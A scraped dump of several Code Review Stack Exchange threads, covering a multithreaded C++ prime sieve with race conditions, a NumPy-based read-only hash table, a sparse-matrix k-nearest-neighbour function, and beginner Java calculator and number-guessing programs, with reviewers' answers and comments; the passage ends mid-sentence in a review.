"body": "<p>Actually, the threading is just totally wrong. There are race conditions all over the place. Due to the kind of problem, it doesn't have many visible effects, but it is still wrong. </p>\n\n<p>The out loop in sieve_eratosthenes loops over indices from 2 to end and checks whether array elements are marked as \"prime\". In that loop it starts threads which change array elements from \"prime\" to \"non-prime\". There is no guarantee how much progress these threads have been making. So when the outer loop checks if 4, 6, 8, 9, 10, 12 etc. are primes, there is no guarantee that they actually have been marked as non-prime. Worst case, the outer loop starts a thread for each i from 2 to end before any of these threads are running. In the case of a prime sieve that doesn't change the correctness, but in general this program doesn't do what it is supposed to do. </p>\n\n<p>The threads set boolean values to false. They tend to set the same values to false multiple times. For example the threads for 2 and 3 both set each multiple of 6 to false. Two threads writing to the same variable is known as a \"race condition\" and is more than just bad. In this case, it doesn't have an effect because both threads set the same boolean value to false. In general, it will cause serious bugs. </p>\n\n<p>Most people looking seriously at primes will use large numbers and use bit arrays to safe space. When you do that, this threading problem will kill you, because if one thread tries to clear one bit in a memory word while another thread tries to clear another bit, you can be quite confident that one of these operations will be lost. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T08:59:13.977",
"Id": "82402",
"Score": "0",
"body": "I considered the race condition when writing the code (multiple threads wirting at the same place), but since the threads are known to perform exactly the same operation at the same place, I considered that it was not a problem (I hope that they just both write `false` and don't trigger undefined behaviour). All the other concerns are real problems though."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:11:10.160",
"Id": "82416",
"Score": "0",
"body": "@Morwenn: There's a write->read race as well as redundant writes, the read occurs in `if (is_prime[i])`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:14:51.743",
"Id": "82418",
"Score": "0",
"body": "I read a bit more about data races today and I indeed have an undefined behaviour. I don't think that redundant writes are a problem though: they would probably not be much slower than a read then a write if the the type was atomic."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:24:49.663",
"Id": "82520",
"Score": "0",
"body": "Undefined behaviour is undefined behaviour. It means you absolutely cannot predict what happens. It may work on your current compiler. It may work on your current compiler 99% of the time, which is worse than not working at all. With multithreading, the approach \"well, it's not officially working, but it's good enough for me\" is an absolute recipe for desaster. Anything less than \"it's guaranteed to work\" will come back and bit you."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T11:41:40.573",
"Id": "82575",
"Score": "0",
"body": "@gnasher729 I did even more research since yesterday, and you're totally right."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T08:46:56.223",
"Id": "47048",
"ParentId": "47016",
"Score": "12"
}
},
{
"body": "<p>None of the other answers mentioned that there is actually a problem when the value passed to the sieve is a prime number. For example, <code>sieve_eratosthenes(7u)</code> returns a vector containing <code>2 3 5</code>. This is due to the vector <code>is_prime</code> being too short by one element: it considers the elements between \\$ 0 \\$ and \\$ n-1 \\$ while it should consider the elements between \\$ 0 \\$ and \\$ n \\$. It should have been declared as:</p>\n\n<pre><code>std::vector<bool> is_prime(n+1u, true);\n</code></pre>\n\n<p>Also, as mentioned in one of the comments, I can replace <code>apply_prime</code> by a lambda. Taking <code>is_prime</code> by reference in the lambda capture also allows to drop <code>std::ref</code> and the corresponding <code>#include <functional></code>. Here is the modified <code>threads.emplace_back</code>:</p>\n\n<pre><code>threads.emplace_back([&is_prime](Integer prime)\n{\n for (Integer i = prime*2u ; i < is_prime.size() ; i += prime)\n {\n is_prime[i] = false;\n }\n}, i);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:43:24.523",
"Id": "82406",
"Score": "0",
"body": "To be fair: You did not specify whether the input number should be tested or not, which indicates a lack of specification (preconditions)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:49:00.423",
"Id": "82407",
"Score": "0",
"body": "@Nobody That's true, but I have the feeling that mathematical integer bounds generally tend to be inclusive. Also [the pseudocode](http://en.wikipedia.org/wiki/Sieve_of_eratosthenes#Implementation) not Wikipedia says \"not exceeding n\". It seems to be inclusive."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:45:25.610",
"Id": "82422",
"Score": "2",
"body": "You can also replace `i=prime*2u` with `i=prime*prime` because all composite numbers less than \\$p^2\\$ will be eliminated as multiples of smaller primes."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:13:15.123",
"Id": "82426",
"Score": "0",
"body": "@Edward But that also means, that I could use `i += 2u*prime` for everywhere prime beside 2."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T10:30:15.863",
"Id": "47051",
"ParentId": "47016",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "47017",
"CommentCount": "15",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:33:35.083",
"Id": "47016",
"Score": "42",
"Tags": [
"c++",
"multithreading",
"c++11",
"primes",
"sieve-of-eratosthenes"
],
"Title": "Parallel sieve of Eratosthenes"
} | 47016 |
<p>Motivation: I have a large number of large read-only dicts with large string keys mapped to tuples of two floats. They are taking up a large amount of heap space.</p>
<p>Proposed solution: a 3xn NumPy array, with the first column being the hash value of the key, and sorted by that column. Only contains and <code>getitem</code> ops are required for my needs.</p>
<p>I realize that this solution is \$O(log(n))\$ rather than \$O(c)\$ but I assume that this isn't that big a problem for my application as there aren't that many lookups per request and my primary problem is memory constraints.</p>
<p>I'm not sure how well <code>searchsorted</code> performs here though, or if I should try to change the stride somehow so that the first column is contiguous or something like that. I should also probably be using a record array.</p>
<pre><code>import numpy
class FCD(object):
def __init__(self, d):
data = []
for key, value in d.iteritems():
data.append((hash(key), value[0], value[1]))
data.sort()
self.data = numpy.array(data)
def __getitem__(self, key):
hkey = hash(key)
ix = numpy.searchsorted(self.data[:, 0], hkey)
if ix < len(self.data) and self.data[ix][0] == hkey:
return self.data[ix][1:]
else:
raise KeyError
def __contains__(self, key):
hkey = hash(key)
ix = numpy.searchsorted(self.data[:, 0], hkey)
return ix < len(self.data) and self.data[ix][0] == hkey
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T12:27:32.970",
"Id": "82404",
"Score": "0",
"body": "I am a little confused as to why you do not just use a `dict` here. Can you prove that your solution is more memory efficient. The lookups will certainly be slower."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-04-21T18:47:17.490",
"Id": "158336",
"Score": "0",
"body": "@ebarr: A tuple of two floats costs 40 + 24 + 24 = 84 bytes, and each dictionary slot costs 24 bytes, so there's a potential saving of 84 bytes per entry using the mechanism described."
}
] | [
{
"body": "<p>I think this looks pretty efficient. Let me add a few more minor, detailed comments (more than 1 year after the question was asked; I hope they are still useful):</p>\n\n<ol>\n<li><p>After you convert to a NumPy array, the keys are longer guaranteed to be unique (if someone re-uses your code in a different context, etc). This will cause <code>searchsorted</code> to fail. You might want to add a check such as:</p>\n\n<pre><code>assert len(self.data[:, 0]) == len(np.unique(self.data[:, 0])\n</code></pre>\n\n<p>to make sure users and readers of your code know that the first column of your array must be unique.</p></li>\n<li><p>I agree that record arrays (aka structured arrays) would be better. Your code would be more readable because instead of things like:</p>\n\n<pre><code>self.data[ix][1:]\n</code></pre>\n\n<p>you could write:</p>\n\n<pre><code>self.data[ix]['Float_1'], self.data[ix]['Float_2']\n</code></pre>\n\n<p>(but please use more descriptive names for your context than <code>'Float_1</code> etc.!)</p>\n\n<p>Also, and <em>more importantly: without using a structured array, your hash keys will be stored as floats instead of ints</em>. That will take extra memory, and make future calls to <code>searchsorted</code> and <code>__eq</code> slightly less efficient.</p></li>\n<li><p>Your <code>__contains__</code> method seems overly stringent to me, which would result in it being slower. Do you need to call <code>searcshorted</code> in <code>__contains__</code> at all? Wouldn't something like this suffice and be more efficient?</p>\n\n<pre><code>def __contains__(self, key):\n hkey = hash(key)\n return np.in1d(self.data[:, 0], hkey).any()\n</code></pre></li>\n<li><p>You are duplicating the <code>__contains__</code> check in your <code>__getitem__</code> code. I'd just say it this way:</p>\n\n<pre><code>if __contains__(self, key): return self.data[ix][1:]\n</code></pre></li>\n<li><p>Very minor, but the idiom is always <code>import numpy as np</code>. It's probably best to use that so you can do <code>np.searchsorted</code> etc. instead of typing <code>numpy.searchsorted</code> as that's what most NumPy users do.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-08-03T01:53:43.427",
"Id": "98853",
"ParentId": "47022",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:35:07.310",
"Id": "47022",
"Score": "5",
"Tags": [
"python",
"numpy",
"hash-map"
],
"Title": "NumPy array as quasi-hash table"
} | 47022 |
<p>I have made a basic calculator using methods. This is my first attempt at using methods and would like to see if I can improve on this as there is a lot of repeated code.</p>
<pre><code>import java.util.Scanner;
public class Calculator {
public static void main(String[] args) {
Scanner kb = new Scanner(System.in);
System.out.println("Simple Calculator");
System.out.println("\nHere are your options:");
System.out.println("\n1. Addition");
System.out.println("2. Subtraction");
System.out.println("3. Division");
System.out.println("4. Multiplication");
System.out.print("\nWhat would you like to do?: ");
int choice = kb.nextInt();
System.out.println();
if (choice == 1){
addition();
}
else if (choice == 2){
subtraction();
}
else if (choice == 3){
division();
}
else if (choice == 4){
multiplication();
}
System.out.println();
kb.close();
}
public static void addition(){
int nOne, nTwo;
Scanner kb = new Scanner(System.in);
System.out.println("Addition");
System.out.print("\nFirst Number: ");
nOne = kb.nextInt();
System.out.print("\nSecond Number: ");
nTwo = kb.nextInt();
kb.close();
System.out.println("\nSum: " + nOne + " + " + nTwo + " = " + (nOne + nTwo));
}
public static void subtraction(){
int nOne, nTwo;
Scanner kb = new Scanner(System.in);
System.out.println("Subtraction");
System.out.print("\nFirst Number: ");
nOne = kb.nextInt();
System.out.print("\nSecond Number: ");
nTwo = kb.nextInt();
kb.close();
System.out.println("\nSum: " + nOne + " - " + nTwo + " = " + (nOne - nTwo));
}
public static void division(){
int nOne, nTwo;
Scanner kb = new Scanner(System.in);
System.out.println("Division");
System.out.print("\nFirst Number: ");
nOne = kb.nextInt();
System.out.print("\nSecond Number: ");
nTwo = kb.nextInt();
kb.close();
System.out.println("\nSum: " + nOne + " / " + nTwo + " = " + (nOne / nTwo));
}
public static void multiplication(){
int nOne, nTwo;
Scanner kb = new Scanner(System.in);
System.out.println("Multiplication");
System.out.print("\nFirst Number: ");
nOne = kb.nextInt();
System.out.print("\nSecond Number: ");
nTwo = kb.nextInt();
kb.close();
System.out.println("\nSum: " + nOne + " x " + nTwo + " = " + (nOne * nTwo));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T23:50:26.000",
"Id": "82363",
"Score": "1",
"body": "If you are wondering why you post hasn't received many votes, it's because you posted your answer late in the day; no one has any ammo left. ;)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:17:29.840",
"Id": "82365",
"Score": "1",
"body": "@syb0rg Ha! its ok :) Everyone works hard enough here and I'm sure It will get seen to in time."
}
] | [
{
"body": "<p>Nice job! I hope you find the comments below useful as you progress.</p>\n\n<ol>\n<li><strong>Variable names:</strong> Try to have variable names which describe what the variable actually <em>represents</em> or <em>holds</em>. For example, I have no idea why you named your <code>Scanner</code> \"kb\".</li>\n<li><strong>Method names:</strong> Method names should always be verb phrases (actions) which describe what the method does. So for example, your <code>addition()</code> method might be better named <code>performAddition()</code> or some such. Even just <code>add()</code> might work, though that might be a bit misleading and lead someone reading your code to believe that all the method does is add two numbers, when really the core functionality is user interface.</li>\n<li><p><strong>Redundancy:</strong> Any time you are copy-pasting code, alarm bells should go off in your head. You do this in multiple places. Most notable is:</p>\n\n<pre><code>System.out.print(\"\\nFirst Number: \");\nnOne = kb.nextInt();\n\nSystem.out.print(\"\\nSecond Number: \");\nnTwo = kb.nextInt();\n</code></pre></li>\n</ol>\n\n<p>What that means is that this is a prime candidate for encapsulation into its own method. Something like this:</p>\n\n<pre><code>private static int[] getNumbers() {\n int[] numbers = new int[2];\n System.out.print(\"\\nFirst Number: \")\n numbers[0] = scanner.nextInt();\n System.out.print(\"\\nSecond Number: \");\n numbers[1] = scanner.nextInt();\n return numbers;\n}\n</code></pre>\n\n<p>Now we can simply call this method whenever we need to get numbers from the user. Much easier, and we've reduced the complexity of our code.</p>\n\n<p>Another thing that's redundant is your constant re-declaration of <code>kb = new Scanner(System.in)</code>. You really only need to do this once. If it were me, I'd have it as a static field for the entire class, e.g.,</p>\n\n<pre><code>private static final Scanner STDIN = new Scanner(System.in);\n</code></pre>\n\n<p>This is the basic rule for how <em>constants</em> are defined in Java. I named the variable <code>STDIN</code> because this is a convention for referring to the \"standard input\" stream, but <code>SCANNER</code> or something would be just as good.</p>\n\n<hr>\n\n<p><strong>Some other small things</strong></p>\n\n<p>You should consider using a <code>switch</code> statement on your <code>choice</code> variable:</p>\n\n<pre><code>switch(choice) {\ncase 1:\n performAddition();\n break;\ncase 2:\n performSubtraction();\n break;\ncase 3:\n performDivision();\n break;\ncase 4:\n performMultiplication();\n break;\ndefault:\n System.out.println(\"Invalid choice!\");\n break;\n}\n</code></pre>\n\n<p>... or you could write it all in-line, if it looks better to you, since each block only really does one thing:</p>\n\n<pre><code>switch(choice) {\ncase 1: performAddition(); break;\ncase 2: performSubtraction(); break;\n// etc.\n}\n</code></pre>\n\n<p>This would also be a perfect use-case for enums, but that my be getting a bit too complicated for a starting project.</p>\n\n<hr>\n\n<p><em>Small final note:</em> I think you have a bug. The line where you display the results always says \"sum\", even when you're doing division, multiplication, or subtraction. :)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:17:14.027",
"Id": "82481",
"Score": "0",
"body": "http://pastebin.com/70wnzARQ - Thanks mate, I think this new version covers most things you mentioned :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:41:31.407",
"Id": "82606",
"Score": "0",
"body": "I look forward to seeing new code on this program."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:36:18.033",
"Id": "47036",
"ParentId": "47026",
"Score": "14"
}
},
{
"body": "<p>Your flow is a little clunky.</p>\n\n<p>If I were going to calculate something I would do it in this order:</p>\n\n<blockquote>\n <p><code>Number1</code> then <code>operator</code> then <code>Number2</code></p>\n</blockquote>\n\n<p>This way I know what I am doing, especially when playing with division.</p>\n\n<p>I think you should ask for the first number then ask for the operation and then ask for the third number.</p>\n\n<p>Also change your choice to take input of <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> as well as the numbered choices, in doing this you are one step closer to taking this to a new level with forms or whatever direction your application is going to take away from the console. </p>\n\n<p>Eventually you can add something to this so that it distinguishes the operators separately and the user can write an expression rather than answer questions about the expression, I think that is really the goal right?</p>\n\n<p>This sounds like a fun project!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:52:13.837",
"Id": "82609",
"Score": "1",
"body": "These are really good tips if you plan to expand this calculator project in the future to continue learning."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:55:37.443",
"Id": "82610",
"Score": "0",
"body": "I plan on trying to create my own calculator when I get home today."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:38:17.350",
"Id": "47151",
"ParentId": "47026",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "47036",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:38:44.220",
"Id": "47026",
"Score": "16",
"Tags": [
"java",
"beginner",
"calculator"
],
"Title": "Very basic calculator using methods"
} | 47026 |
<p>Below is a naive algorithm to find nearest neighbours for a point in some n-dimensional space. </p>
<pre><code>import numpy as np
import scipy.sparse as ss
# brute force method to get k nearest neighbours to point p
def knn_naive(k, p, X):
stacked_p = ss.vstack([p for n in range(X.get_shape()[0])])
D = X - stacked_p
D = np.sqrt(D.multiply(D).sum(1))
result = sorted(D)[:k]
return result
</code></pre>
<p>Types for arguments to <code>knn_naive(...)</code> are:</p>
<pre><code># type(k): int
# type(p): <class 'scipy.sparse.csr.csr_matrix'>
# type(X): <class 'scipy.sparse.csr.csr_matrix'>
</code></pre>
<p>An example of dimensions would be:</p>
<pre><code>X.shape: (100, 3004)
p.shape: (1, 3004)
</code></pre>
<p>Are there techniques to improve the above implementation in terms of computational time and/or memory? </p>
| [] | [
{
"body": "<p>I wasn't aware that scipy's sparse matrices did not support broadcasting. What a shame that you can't simply do <code>D = X - p</code>! Your construction of <code>stacked_p</code> can be sped up quite a bit, but you need to access the internals of the CSR matrix directly. If you aren't aware of the details, <a href=\"http://en.wikipedia.org/wiki/Sparse_matrix#Compressed_sparse_row_.28CSR_or_CRS.29\" rel=\"nofollow\">the wikipedia article</a> has a good description of the format.</p>\n\n<p>In any case, you can construct <code>stacked_p</code> as follows:</p>\n\n<pre><code>rows, cols = X.shape\nstacked_p = ss.csr_matrix((np.tile(p.data, rows), np.tile(p.indices, rows),\n np.arange(0, rows*p.nnz + 1, p.nnz)), shape=X.shape)\n</code></pre>\n\n<p>With some dummy data:</p>\n\n<pre><code>import numpy as np\nimport scipy.sparse as sps\n\np = sps.rand(1, 1000, density=0.01, format='csr')\n\nIn [15]: %timeit sps.vstack([p for n in xrange(1000)]).tocsr()\n10 loops, best of 3: 173 ms per loop\n\nIn [16]: %timeit sps.csr_matrix((np.tile(p.data, 1000), np.tile(p.indices, 1000),\n np.arange(0, 1000*p.nnz + 1, p.nnz)), (1000, 1000))\n10000 loops, best of 3: 94.1 µs per loop\n</code></pre>\n\n<p>That is close to 2000x times faster...</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T02:57:56.853",
"Id": "47040",
"ParentId": "47027",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47040",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:40:16.520",
"Id": "47027",
"Score": "6",
"Tags": [
"python",
"performance",
"matrix",
"numpy",
"clustering"
],
"Title": "Calculating Euclidean norm for each vector in a sparse matrix"
} | 47027 |
<p>Would you please review and give me some feedback? I've been learning Java and I want to avoid bad practices.</p>
<p>Is it good to make a helper class to define the methods my main program is using?</p>
<p>Is this approach ok for bigger projects?</p>
<p>If the game looks fine, what would be the next simple game challenge I should attempt? I'm not confident enough yet to mess with graphics.</p>
<p>I'm new to GitHub, but I created my first repository today to upload this code, perhaps its easier to look at the code <a href="https://github.com/facundop/GuessNumberGame" rel="nofollow">here</a>.</p>
<p>This is the main class:</p>
<pre><code>package game;
import java.util.Scanner;
import utils.GuessNumberUtils;
public class GuessGame {
// Class with all the methods required by the game
static GuessNumberUtils numberGenerator = new GuessNumberUtils();
// Scanner to handle input
static Scanner keyboard = new Scanner(System.in);
// This is where we store the number to guess
static int numberToGuess;
// This is where we store the number guessed by the player
static int guessedNumber;
// Number of tries - the idea is to handle a scoring system in the future
static int tries;
// Flag used to loop the game
static boolean gameEnded = false;
// This is where we store the player's name
static String playerName;
public static void main(String[] args) {
// Asks for player's name
playerName = GuessNumberUtils.getPlayerName(keyboard);
while (!gameEnded) {
// We initialize the score (tries)
tries = 1;
// Generates a random number. To do: ask the players for the range
numberToGuess = numberGenerator.getRandomNumber(1, 100);
// Debugging only. Remove this line to actually play the game.
System.out.println(numberToGuess);
System.out.println(playerName
+ ", I've picked a number between 1 and 100, guess it!");
guessedNumber = GuessNumberUtils.guessNumber(keyboard);
while (guessedNumber != numberToGuess) {
GuessNumberUtils.isNumberCorrect(numberToGuess, guessedNumber);
tries++;
guessedNumber = GuessNumberUtils.guessNumber(keyboard);
}
if (guessedNumber == numberToGuess) {
if (tries == 1) {
System.out.println("Good job. You guessed it in 1 try.");
} else {
System.out.println("Good job. You guessed it in " + tries
+ " tries.");
}
}
gameEnded = GuessNumberUtils.playAgain(keyboard);
}
keyboard.close();
}
}
</code></pre>
<p>This is the helper class I used to define methods:</p>
<pre><code>package utils;
import java.util.Scanner;
public class GuessNumberUtils {
/*
* Method to generate a random number in a specific range
*/
public int getRandomNumber(int min, int max) {
return min + (int) (Math.random() * ((max - min) + 1));
}
/*
* Method to ask for the player's name
*/
static public String getPlayerName(Scanner keyboard) {
String playerName;
System.out.println("Hi there! What's your name?");
playerName = keyboard.nextLine();
System.out.println("Hi " + playerName + ", let's play!");
return playerName;
}
/*
* Method to ask for a number to guess.
*/
static public int guessNumber(Scanner keyboard) {
System.out.println("Pick a number: ");
return Integer.parseInt(keyboard.nextLine());
}
/*
* Method to check if the player has guessed the number.
*/
static public boolean isNumberCorrect(int numberToGuess, int guessedNumber) {
if (numberToGuess == guessedNumber) {
return true;
} else {
if (numberToGuess < guessedNumber) {
System.out.println("Too high. Guess again.");
} else {
System.out.println("Too low. Guess again.");
}
return false;
}
}
/*
* Method to keep playing or finish it.
*/
static public boolean playAgain(Scanner keyboard) {
char playAgain;
System.out.println("Play again? y/n");
playAgain = keyboard.nextLine().charAt(0);
while (playAgain != 'y' && playAgain != 'n') {
System.out.println("Please use 'y' for yes or 'n' for no.");
System.out.println("Play again? (y/n)");
playAgain = keyboard.nextLine().charAt(0);
}
if (playAgain == 'n') {
System.out.println("Thanks for playing. Good bye!");
return true;
} else {
System.out.println("Let's play again!");
return false;
}
}
}
</code></pre>
| [] | [
{
"body": "<p>Not a bad start at Java! :) Below are some comments that I hope can help you improve.</p>\n\n<h1>Some big things:</h1>\n\n<ol>\n<li><strong>Comments:</strong> I think you make the very uncommon mistake of having <em>too many</em> comments rather than not enough. I'm actually loathe to even mention this, because I love when people comment well (and other people will love you for it, too), but commenting every single line is a bit overkill. For example, having a comment to explain that <code>String playerName</code> holds the player's name is redundant. Sometimes, it's okay for code to be self-documenting. (Indeed, some would argue that the best code <em>is</em> self-documenting with well-chosen variable/method names and good control structure.) Also, make sure your comments have consistent style. For some of them, you have just a description (<code>Scanner to handle the input</code>) while with others you have complete sentences (<code>This is where we store the number to guess</code>). Just having the description works fine and is less wordy, but regardless, choose a style and stick with it. Consistency is very important.</li>\n<li><strong>Access Modifiers:</strong> All of your global variables are simply declared as <code>static</code>, but they should almost always be explicitly <code>public</code>, <code>private</code>, or <code>protected</code>.</li>\n<li><strong>Utility Class:</strong> I like that you wanted to separate out some of your functionality into different classes. But a true \"utility\" class is one which has \"helper methods\". These could be things like testing to see if a <code>String</code> holds a valid <code>int</code>, or validating that a user's input actually exists. Instead, you have functionality which is critical to the game in the utility class. As such, those methods would be better off in the <code>GuessGame</code> class, since they really <em>are</em> part of the game. If you still want to separate out functionality, consider having a class called something like <code>GuessGameDriver</code> which has your <code>main(String[] args)</code> method, and then having your game logic in a different class. That's actually a fairly common practice.</li>\n<li><strong>Intuitive method names/functions:</strong> The names of your methods don't always match up with what the methods actually <em>do</em>. I'll explain more about that below.</li>\n</ol>\n\n<h1>Some specifics:</h1>\n\n<pre><code>static public boolean isNumberCorrect(int numberToGuess, int guessedNumber) {\n if (numberToGuess == guessedNumber) {\n return true;\n } else {\n if (numberToGuess < guessedNumber) {\n System.out.println(\"Too high. Guess again.\");\n } else {\n System.out.println(\"Too low. Guess again.\");\n }\n return false;\n }\n}\n</code></pre>\n\n<p>I'm going to use this above method to point out a couple of things that occur throughout your code. The first is minor: according to Java convention, your access modifier should come before the <code>static</code> keyword (e.g., <code>public static boolean isNumberCorrect</code>). Not a big deal, but something to be aware of.</p>\n\n<p>More significantly, your method violates the \"do one thing and do it well\" policy. The method is called <code>isNumberCorrect</code> and returns a <code>boolean</code>. That means it should evaluate the two numbers and check to see if the number is correct -- <em>and nothing else</em>. Instead, you're using this method to also provide feedback to the user. If you published your API and I wanted to use it, this would in no way be intuitive.</p>\n\n<hr>\n\n<pre><code>static public boolean playAgain(Scanner keyboard) {\n char playAgain;\n System.out.println(\"Play again? y/n\");\n playAgain = keyboard.nextLine().charAt(0);\n while (playAgain != 'y' && playAgain != 'n') {\n System.out.println(\"Please use 'y' for yes or 'n' for no.\");\n System.out.println(\"Play again? (y/n)\");\n playAgain = keyboard.nextLine().charAt(0);\n }\n if (playAgain == 'n') {\n System.out.println(\"Thanks for playing. Good bye!\");\n return true;\n } else {\n System.out.println(\"Let's play again!\");\n return false;\n }\n}\n</code></pre>\n\n<p>This is a curious method. All method names should be verb phrases, firstly, and if this is taken as a verb phrase then it means you are executing the code to play again. But the really curious thing about it is this: you return <code>true</code> if the user does <em>not</em> want to play again, and <code>false</code> if they <em>do</em> want to play again. That's bizarre and completely counterintuitive.</p>\n\n<hr>\n\n<pre><code>static public int guessNumber(Scanner keyboard) {\n System.out.println(\"Pick a number: \");\n return Integer.parseInt(keyboard.nextLine());\n}\n</code></pre>\n\n<p>You don't have any input validation here. Meaning if I type in <code>abjafnlsflsd</code>, your program will break. Not a big deal for a beginner's program, but you can start to look into <a href=\"http://docs.oracle.com/javase/tutorial/essential/exceptions/\">Exception handling</a> as you progress.</p>\n\n<hr>\n\n<pre><code>public int getRandomNumber(int min, int max) {\n return min + (int) (Math.random() * ((max - min) + 1));\n}\n</code></pre>\n\n<p>Just wanted to say that <em>this</em> is a perfect example of the kind of method that belongs in a \"utility\" class. It's completely divorced from the actual <em>game</em> and really is just a helper method. Great.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T01:18:32.190",
"Id": "47033",
"ParentId": "47028",
"Score": "6"
}
},
{
"body": "<p>First of all: I appreciate the clarity of your code. Variables have good names which causes the code to be read very fluently. Intendation, spacing and whitelines are also very well done so that's a major plus.</p>\n\n<p>Ofcourse, there are always working points. Let's take a look.</p>\n\n<h1>Comments</h1>\n\n<pre><code>// This section will be about comments\n</code></pre>\n\n<p>There, I clarified what this section was about. Well, actually I didn't because the title already conveyed that entire meaning. Which is exactly what you're doing with</p>\n\n<pre><code>// This is where we store the number to guess\nstatic int numberToGuess;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>// We initialize the score (tries)\ntries = 1;\n</code></pre>\n\n<h1>Static</h1>\n\n<p>You're abusing the fact that the <code>main</code> method should be <code>static</code> and bypassing the OO rules of creating an object. Instead of using that <code>main</code> method directly as a part of your program, simply create an object of your surrounding class (<code>GuessGame</code>) and use instance variables instead. </p>\n\n<p>Additional benefit: you can now start multiple games at the same time.</p>\n\n<h1>Static helper methods</h1>\n\n<p>A major advantage of a helpermethod is its ability to be called in a <code>static</code> context (aka: <code>Utils.doSomething()</code>). By forcing the user to create an instance of it, you're losing that usability. </p>\n\n<p>Aside from that, it also makes no sense to do that. Your helpermethod doesn't keep track of the state of anything, so there is never a difference between two instances.</p>\n\n<p>Lastly: stay consistent. 1 of your 4 util methods is an instance method.</p>\n\n<h1>Linesplits</h1>\n\n<p>You don't have to split this up:</p>\n\n<pre><code>String playerName;\nSystem.out.println(\"Hi there! What's your name?\");\nplayerName = keyboard.nextLine();\n</code></pre>\n\n<p>This is just fine and more readable because it doesn't force your brain to look into two places for no reason:</p>\n\n<pre><code>System.out.println(\"Hi there! What's your name?\");\nString playerName = keyboard.nextLine();\n</code></pre>\n\n<h1>Helper methods</h1>\n\n<p>Are they really necessary? The concept of helper methods is that they perform some tasks that can be used throughout multiple places in your project. You have one class so it's in fact impossible to have that situation. </p>\n\n<p>But even if you did have multiple: these methods are all specific to that one class so they belong as members to that class.</p>\n\n<h1>Exceptions</h1>\n\n<p>This line with invalid input, will cause your program to crash. You should add appropriate exception handling:</p>\n\n<pre><code>return Integer.parseInt(keyboard.nextLine());\n</code></pre>\n\n<h1>Nesting</h1>\n\n<p>This code is very nested:</p>\n\n<pre><code>if(condition) {\n return true;\n} else {\n if(condition) { \n\n }\n}\n</code></pre>\n\n<p>I prefer a style that takes away some of this nesting (and thus allows more characters on your line):</p>\n\n<pre><code>if(condition) { \n return true;\n}\n\nif(condition) {\n\n}\n</code></pre>\n\n<h1>Indentation</h1>\n\n<p>I told you before that I liked it, but after closer inspection I believe it's actually too far indented. There's an uncomfortable long white area:</p>\n\n<pre><code>public int getRandomNumber(int min, int max) {\n return min + (int) (Math.random() * ((max - min) + 1));\n}\n</code></pre>\n\n<p>Indentation is done with 4 spaces (or 1 tab, consisting of 4 spaces). It's best to stick to these conventions.</p>\n\n<h1>Order of attributes</h1>\n\n<p>I see your methods are declared as</p>\n\n<pre><code>static public boolean isNumberCorrect()\n</code></pre>\n\n<p>It might be functionally the same, but once more popular convention dictates this instead (refer to the standard <code>main</code> method notation):</p>\n\n<pre><code>public static boolean isNumberCorrect()\n</code></pre>\n\n<p>I would back it up with the actual Java conventions, but for some reason that document has been offline for almost a few weeks by now.</p>\n\n<h1>Redundancy</h1>\n\n<blockquote>\n <p>\"Please use 'y' for yes or 'n' for no.\"<br>\n \"Play again? (y/n)\" </p>\n</blockquote>\n\n<p>This seems a little redundant. I suggest either removing the entire first line or, if you really want to keep it, to remove the \"y/n\". But people know by now what \"y/n\" means so I'd prefer to simply remove the first line.</p>\n\n<h1>Boolean is boolean</h1>\n\n<p>When I look at a variable named <code>playAgain</code>, I expect it to tell me \"yes\" or \"no\". I don't expect it to possibly tell me \"b\".</p>\n\n<p>Therefore I suggest changing it to 